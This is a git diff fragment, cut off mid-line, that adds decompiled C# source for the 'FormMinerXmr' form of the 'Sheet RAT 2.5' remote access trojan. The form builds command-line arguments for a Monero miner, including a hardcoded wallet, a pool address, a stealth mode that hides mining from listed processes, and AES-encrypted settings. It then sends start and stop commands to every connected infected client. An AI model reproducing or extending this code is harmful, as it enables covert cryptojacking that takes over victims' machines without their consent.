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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormMinerXmr.cs b/Server/Server/Forms/FormMinerXmr.cs new file mode 100644 index 0000000..613601d --- /dev/null +++ b/Server/Server/Forms/FormMinerXmr.cs @@ -0,0 +1,756 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormMinerXmr +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormMinerXmr : MetroForm +{ + public string args; + public bool work; + private IContainer components; + private MetroLabel metroLabel1; + private MetroLabel metroLabel2; + private MetroCheckBox AntiProcessCheck; + private NumericUpDown numCpu; + private MetroLabel metroLabel3; + public MetroButton Start; + public MetroButton metroButton1; + private MetroTextBox Wallet; + private MetroTextBox Pool; + private MetroTextBox AntiProcess; + private Timer TimeOut; + private MetroContextMenu metroContextMenu1; + private ToolStripMenuItem kickToolStripMenuItem; + public DataGridView Grid1; + private Timer Checker; + public MetroCheckBox CheckDontGpu; + public MetroCheckBox metroCheckBoxGpu; + public MetroCheckBox metroCheckBoxCpu; + public MetroCheckBox metroCheckBoxTls; + public MetroCheckBox metroCheckBoxNicehash; + private RadioButton PoolMode; + private RadioButton radioButton2; + private Panel panel1; + private MetroTextBox ProxyXmr; + + public Clients[] ClientsSelected() + { + List clientsList = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.Grid1.SelectedRows) + clientsList.Add((Clients) selectedRow.Tag); + return clientsList.ToArray(); + } + + public Clients[] ClientsAll() + { + List clientsList = new List(); + foreach (DataGridViewRow row in (IEnumerable) this.Grid1.Rows) + clientsList.Add((Clients) row.Tag); + return clientsList.ToArray(); + } + + private void FormXmr_FormClosing(object sender, FormClosingEventArgs e) + { + this.Hide(); + e.Cancel = true; + } + + public FormMinerXmr() => this.InitializeComponent(); + + private void FormMinerXmr_Load(object sender, EventArgs e) + { + DataGridViewColumnCollection columns1 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn1.HeaderText = "IP"; + viewTextBoxColumn1.MinimumWidth = 150; + columns1.Add((DataGridViewColumn) viewTextBoxColumn1); + DataGridViewColumnCollection columns2 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn2.HeaderText = "ID"; + viewTextBoxColumn2.MinimumWidth = 150; + columns2.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns3 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn3.HeaderText = "CPU Status"; + viewTextBoxColumn3.MinimumWidth = 30; + columns3.Add((DataGridViewColumn) viewTextBoxColumn3); + DataGridViewColumnCollection columns4 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn4.HeaderText = "GPU Status"; + viewTextBoxColumn4.MinimumWidth = 30; + columns4.Add((DataGridViewColumn) viewTextBoxColumn4); + DataGridViewColumnCollection columns5 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn5 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn5.AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCells; + viewTextBoxColumn5.HeaderText = "CPU"; + viewTextBoxColumn5.MinimumWidth = 30; + columns5.Add((DataGridViewColumn) viewTextBoxColumn5); + DataGridViewColumnCollection columns6 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn6 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn6.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn6.HeaderText = "GPU"; + viewTextBoxColumn6.MinimumWidth = 30; + columns6.Add((DataGridViewColumn) viewTextBoxColumn6); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + foreach (Clients clients in this.ClientsAll()) + clients.Disconnected("Stop"); + Program.form.MinerActiveXmr = false; + this.Start.Text = "Start"; + p.Cancel = true; + this.Hide(); + this.Refresh(); + }); + DataGridViewCellStyle gridViewCellStyle = new DataGridViewCellStyle(); + gridViewCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle.ForeColor = Customs.customs.StyleToColor(); + gridViewCellStyle.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle.BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White; + gridViewCellStyle.SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White; + gridViewCellStyle.SelectionBackColor = Customs.customs.StyleToColor(); + gridViewCellStyle.WrapMode = DataGridViewTriState.False; + this.Grid1.DefaultCellStyle = gridViewCellStyle; + this.Grid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle; + this.Grid1.RowTemplate.Resizable = DataGridViewTriState.True; + this.Grid1.RowTemplate.MinimumHeight = 30; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.Wallet.Theme = Customs.customs.Theme; + this.Pool.Theme = Customs.customs.Theme; + this.AntiProcess.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel3.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + this.metroCheckBoxCpu.Theme = Customs.customs.Theme; + this.metroCheckBoxGpu.Theme = Customs.customs.Theme; + this.Start.Theme = Customs.customs.Theme; + this.metroCheckBoxNicehash.Theme = Customs.customs.Theme; + this.AntiProcessCheck.Theme = Customs.customs.Theme; + this.ProxyXmr.Theme = Customs.customs.Theme; + this.CheckDontGpu.Theme = Customs.customs.Theme; + this.metroCheckBoxTls.Theme = Customs.customs.Theme; + this.Grid1.BackgroundColor = Customs.customs.ThemeToColor(); + this.numCpu.BackColor = Customs.customs.ThemeToColor(); + this.PoolMode.BackColor = Customs.customs.ThemeToColor(); + this.panel1.BackColor = Customs.customs.ThemeToColor(); + this.radioButton2.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.Wallet.Style = Customs.customs.Style; + this.Pool.Style = Customs.customs.Style; + this.AntiProcess.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel3.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + this.metroCheckBoxTls.Style = Customs.customs.Style; + this.metroCheckBoxGpu.Style = Customs.customs.Style; + this.metroCheckBoxCpu.Style = Customs.customs.Style; + this.ProxyXmr.Style = Customs.customs.Style; + this.metroCheckBoxNicehash.Style = Customs.customs.Style; + this.Start.Style = Customs.customs.Style; + this.AntiProcessCheck.Style = Customs.customs.Style; + this.CheckDontGpu.Style = Customs.customs.Style; + this.numCpu.ForeColor = Customs.customs.StyleToColor(); + this.radioButton2.ForeColor = Customs.customs.StyleToColor(); + this.PoolMode.ForeColor = Customs.customs.StyleToColor(); + } + this.radioButton2.PerformClick(); + this.Start.PerformClick(); + this.Refresh(); + } + + public string Unamlib_Encrypt(string plainText) + { + byte[] bytes1 = Encoding.UTF8.GetBytes(plainText); + byte[] bytes2 = Encoding.ASCII.GetBytes("UXUUXUUXUUCommandULineUUXUUXUUXU"); + byte[] bytes3 = Encoding.ASCII.GetBytes("UUCommandULineUU"); + RijndaelManaged rijndaelManaged = new RijndaelManaged(); + rijndaelManaged.Mode = CipherMode.CBC; + rijndaelManaged.Padding = PaddingMode.Zeros; + rijndaelManaged.BlockSize = 128 /*0x80*/; + rijndaelManaged.KeySize = 256 /*0x0100*/; + ICryptoTransform encryptor = rijndaelManaged.CreateEncryptor(bytes2, bytes3); + byte[] array; + using (MemoryStream memoryStream = new MemoryStream()) + { + using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write)) + { + cryptoStream.Write(bytes1, 0, bytes1.Length); + cryptoStream.FlushFinalBlock(); + array = memoryStream.ToArray(); + cryptoStream.Close(); + } + memoryStream.Close(); + } + return Convert.ToBase64String(array); + } + + private void metroButton1_Click(object sender, EventArgs e) + { + if (this.Start.Text == "Start") + { + this.args = " --cinit-find-x -B --algo=\"rx/0\" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --cpu-max-threads-hint=" + this.numCpu.Value.ToString(); + if (this.PoolMode.Checked) + { + this.args = $"{this.args} --url={this.Pool.Text} --user={this.Wallet.Text} --pass=worker"; + if (!this.metroCheckBoxTls.Checked) + this.args += " --tls"; + if (!this.metroCheckBoxNicehash.Checked) + this.args += " --nicehash"; + } + else + this.args = $"{this.args} --url={this.ProxyXmr.Text}"; + if (this.AntiProcessCheck.Checked) + this.args = $"{this.args} --cinit-stealth-targets=\"{this.Unamlib_Encrypt(this.AntiProcess.Text)}\" --cinit-stealth"; + if (!this.metroCheckBoxCpu.Checked) + this.args += " --no-cpu"; + if (this.metroCheckBoxGpu.Checked) + this.args += " %GPUMINER%"; + foreach (Clients clients in this.ClientsAll()) + clients.Send((object) ("Start<@>" + this.args)); + this.Start.Text = "Stop"; + } + else + { + foreach (Clients clients in this.ClientsAll()) + clients.Send((object) "Stop"); + this.Start.Text = "Start"; + } + } + + private void metroButton1_Click_1(object sender, EventArgs e) + { + this.Hide(); + this.Refresh(); + } + + private void TimeOut_Tick(object sender, EventArgs e) + { + Clients[] allClients = this.ClientsAll(); + if (allClients.Length == 0) + return; + Task.Run((Action) (() => + { + foreach (Clients clients in allClients) + { + if (Methods.DiffSeconds(clients.LastPiy, DateTime.Now) > 60.0) + clients.Disconnected("TimeOut"); + } + })); + } + + private void kickToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Clients clients in this.ClientsSelected()) + clients.Disconnected("Kick"); + } + + private void Checker_Tick(object sender, EventArgs e) + { + this.Text = $"Miner Xmr Miners [{this.Grid1.RowCount}] Selected[{this.Grid1.SelectedRows.Count}]"; + this.Refresh(); + } + + private void CheckDontGpu_CheckedChanged(object sender, EventArgs e) + { + } + + private void radioButton2_CheckedChanged(object sender, EventArgs e) + { + if (this.radioButton2.Checked) + this.metroLabel1.Text = "Xmrig-Proxy Ip"; + else + this.metroLabel1.Text = "Wallet Adress"; + this.ProxyXmr.Visible = this.radioButton2.Checked; + this.Pool.Visible = !this.radioButton2.Checked; + this.metroLabel2.Visible = !this.radioButton2.Checked; + this.metroCheckBoxTls.Visible = !this.radioButton2.Checked; + this.metroCheckBoxNicehash.Visible = !this.radioButton2.Checked; + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormMinerXmr)); + this.metroLabel1 = new MetroLabel(); + this.metroLabel2 = new MetroLabel(); + this.Start = new MetroButton(); + this.AntiProcessCheck = new MetroCheckBox(); + this.numCpu = new NumericUpDown(); + this.metroLabel3 = new MetroLabel(); + this.metroButton1 = new MetroButton(); + this.metroContextMenu1 = new MetroContextMenu(this.components); + this.kickToolStripMenuItem = new ToolStripMenuItem(); + this.Wallet = new MetroTextBox(); + this.Pool = new MetroTextBox(); + this.AntiProcess = new MetroTextBox(); + this.TimeOut = new Timer(this.components); + this.Grid1 = new DataGridView(); + this.Checker = new Timer(this.components); + this.CheckDontGpu = new MetroCheckBox(); + this.metroCheckBoxGpu = new MetroCheckBox(); + this.metroCheckBoxCpu = new MetroCheckBox(); + this.metroCheckBoxTls = new MetroCheckBox(); + this.metroCheckBoxNicehash = new MetroCheckBox(); + this.PoolMode = new RadioButton(); + this.radioButton2 = new RadioButton(); + this.panel1 = new Panel(); + this.ProxyXmr = new MetroTextBox(); + this.numCpu.BeginInit(); + this.metroContextMenu1.SuspendLayout(); + ((ISupportInitialize) this.Grid1).BeginInit(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(3, 3); + this.metroLabel1.Margin = new Padding(2, 0, 2, 0); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(88, 19); + this.metroLabel1.Style = MetroColorStyle.Green; + this.metroLabel1.TabIndex = 1; + this.metroLabel1.Text = "Wallet Adress"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(3, 58); + this.metroLabel2.Margin = new Padding(2, 0, 2, 0); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(35, 19); + this.metroLabel2.Style = MetroColorStyle.Green; + this.metroLabel2.TabIndex = 3; + this.metroLabel2.Text = "Pool"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.Start.Anchor = AnchorStyles.Top | AnchorStyles.Right; + this.Start.Location = new Point(793, 112 /*0x70*/); + this.Start.Margin = new Padding(2); + this.Start.Name = "Start"; + this.Start.Size = new Size(79, 20); + this.Start.Style = MetroColorStyle.Green; + this.Start.TabIndex = 4; + this.Start.Text = "Start"; + this.Start.Theme = MetroThemeStyle.Dark; + this.Start.UseSelectable = true; + this.Start.UseStyleColors = true; + this.Start.Click += new EventHandler(this.metroButton1_Click); + this.AntiProcessCheck.AutoSize = true; + this.AntiProcessCheck.Checked = true; + this.AntiProcessCheck.CheckState = CheckState.Checked; + this.AntiProcessCheck.Location = new Point(4, 107); + this.AntiProcessCheck.Margin = new Padding(2); + this.AntiProcessCheck.Name = "AntiProcessCheck"; + this.AntiProcessCheck.Size = new Size(85, 15); + this.AntiProcessCheck.Style = MetroColorStyle.Green; + this.AntiProcessCheck.TabIndex = 8; + this.AntiProcessCheck.Text = "AntiProcess"; + this.AntiProcessCheck.Theme = MetroThemeStyle.Dark; + this.AntiProcessCheck.UseSelectable = true; + this.AntiProcessCheck.UseStyleColors = true; + this.numCpu.BackColor = Color.Black; + this.numCpu.ForeColor = Color.SpringGreen; + this.numCpu.Increment = new Decimal(new int[4] + { + 10, + 0, + 0, + 0 + }); + this.numCpu.Location = new Point(502, 181); + this.numCpu.Margin = new Padding(2); + this.numCpu.Minimum = new Decimal(new int[4] + { + 10, + 0, + 0, + 0 + }); + this.numCpu.Name = "numCpu"; + this.numCpu.Size = new Size(56, 20); + this.numCpu.TabIndex = 202; + this.numCpu.Value = new Decimal(new int[4] + { + 100, + 0, + 0, + 0 + }); + this.metroLabel3.AutoSize = true; + this.metroLabel3.Location = new Point(442, 184); + this.metroLabel3.Margin = new Padding(2, 0, 2, 0); + this.metroLabel3.Name = "metroLabel3"; + this.metroLabel3.Size = new Size(48 /*0x30*/, 19); + this.metroLabel3.Style = MetroColorStyle.Green; + this.metroLabel3.TabIndex = 203; + this.metroLabel3.Text = "Cpu %"; + this.metroLabel3.Theme = MetroThemeStyle.Dark; + this.metroLabel3.UseStyleColors = true; + this.metroButton1.Anchor = AnchorStyles.Top | AnchorStyles.Right; + this.metroButton1.Location = new Point(793, 77); + this.metroButton1.Margin = new Padding(2); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(79, 20); + this.metroButton1.Style = MetroColorStyle.Green; + this.metroButton1.TabIndex = 205; + this.metroButton1.Text = "Hide Window"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click_1); + this.metroContextMenu1.Items.AddRange(new ToolStripItem[1] + { + (ToolStripItem) this.kickToolStripMenuItem + }); + this.metroContextMenu1.Name = "metroContextMenu1"; + this.metroContextMenu1.Size = new Size(97, 26); + this.kickToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.kickToolStripMenuItem.ForeColor = Color.Red; + this.kickToolStripMenuItem.Name = "kickToolStripMenuItem"; + this.kickToolStripMenuItem.Size = new Size(96 /*0x60*/, 22); + this.kickToolStripMenuItem.Text = "Kick"; + this.kickToolStripMenuItem.Click += new EventHandler(this.kickToolStripMenuItem_Click); + this.Wallet.CustomButton.Image = (Image) null; + this.Wallet.CustomButton.Location = new Point(364, 1); + this.Wallet.CustomButton.Name = ""; + this.Wallet.CustomButton.Size = new Size(21, 21); + this.Wallet.CustomButton.Style = MetroColorStyle.Blue; + this.Wallet.CustomButton.TabIndex = 1; + this.Wallet.CustomButton.Theme = MetroThemeStyle.Light; + this.Wallet.CustomButton.UseSelectable = true; + this.Wallet.CustomButton.Visible = false; + this.Wallet.Lines = new string[1] + { + "4B9rbroU5uESfup3iaMtC5SNi3UQsyK5XKPycXcVcFDzFgHeYGhEY8NH98YbisamWRKuBDEsRTAQ3NUVpTBXk6gh1VhHxN1" + }; + this.Wallet.Location = new Point(3, 25); + this.Wallet.MaxLength = (int) short.MaxValue; + this.Wallet.Name = "Wallet"; + this.Wallet.PasswordChar = char.MinValue; + this.Wallet.ScrollBars = ScrollBars.None; + this.Wallet.SelectedText = ""; + this.Wallet.SelectionLength = 0; + this.Wallet.SelectionStart = 0; + this.Wallet.ShortcutsEnabled = true; + this.Wallet.Size = new Size(386, 23); + this.Wallet.Style = MetroColorStyle.Green; + this.Wallet.TabIndex = 207; + this.Wallet.Text = "4B9rbroU5uESfup3iaMtC5SNi3UQsyK5XKPycXcVcFDzFgHeYGhEY8NH98YbisamWRKuBDEsRTAQ3NUVpTBXk6gh1VhHxN1"; + this.Wallet.Theme = MetroThemeStyle.Dark; + this.Wallet.UseSelectable = true; + this.Wallet.UseStyleColors = true; + this.Wallet.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.Wallet.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.Pool.CustomButton.Image = (Image) null; + this.Pool.CustomButton.Location = new Point(364, 1); + this.Pool.CustomButton.Name = ""; + this.Pool.CustomButton.Size = new Size(21, 21); + this.Pool.CustomButton.Style = MetroColorStyle.Blue; + this.Pool.CustomButton.TabIndex = 1; + this.Pool.CustomButton.Theme = MetroThemeStyle.Light; + this.Pool.CustomButton.UseSelectable = true; + this.Pool.CustomButton.Visible = false; + this.Pool.Lines = new string[1] + { + "pool.hashvault.pro:443" + }; + this.Pool.Location = new 